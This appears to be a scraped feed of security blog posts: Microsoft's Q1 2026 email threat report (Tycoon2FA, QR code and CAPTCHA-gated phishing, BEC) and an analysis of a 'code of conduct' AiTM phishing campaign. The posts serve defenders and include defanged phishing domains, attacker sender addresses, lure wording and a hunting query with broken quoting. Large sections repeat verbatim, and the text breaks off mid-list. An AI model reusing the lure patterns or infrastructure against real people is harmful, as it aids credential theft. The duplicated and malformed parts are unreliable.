The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

The malicious emails claim to contain a conduct report and lure victims to a Microsoft phishing website that leverages AitM.

The post Microsoft Warns of Sophisticated Phishing Campaign Targeting US Organizations appeared first on SecurityWeek.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

Still under development, Bluekit provides users with automated domain registration and an AI Assistant.

The post New Bluekit Phishing Kit Features AI Assistant appeared first on SecurityWeek.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

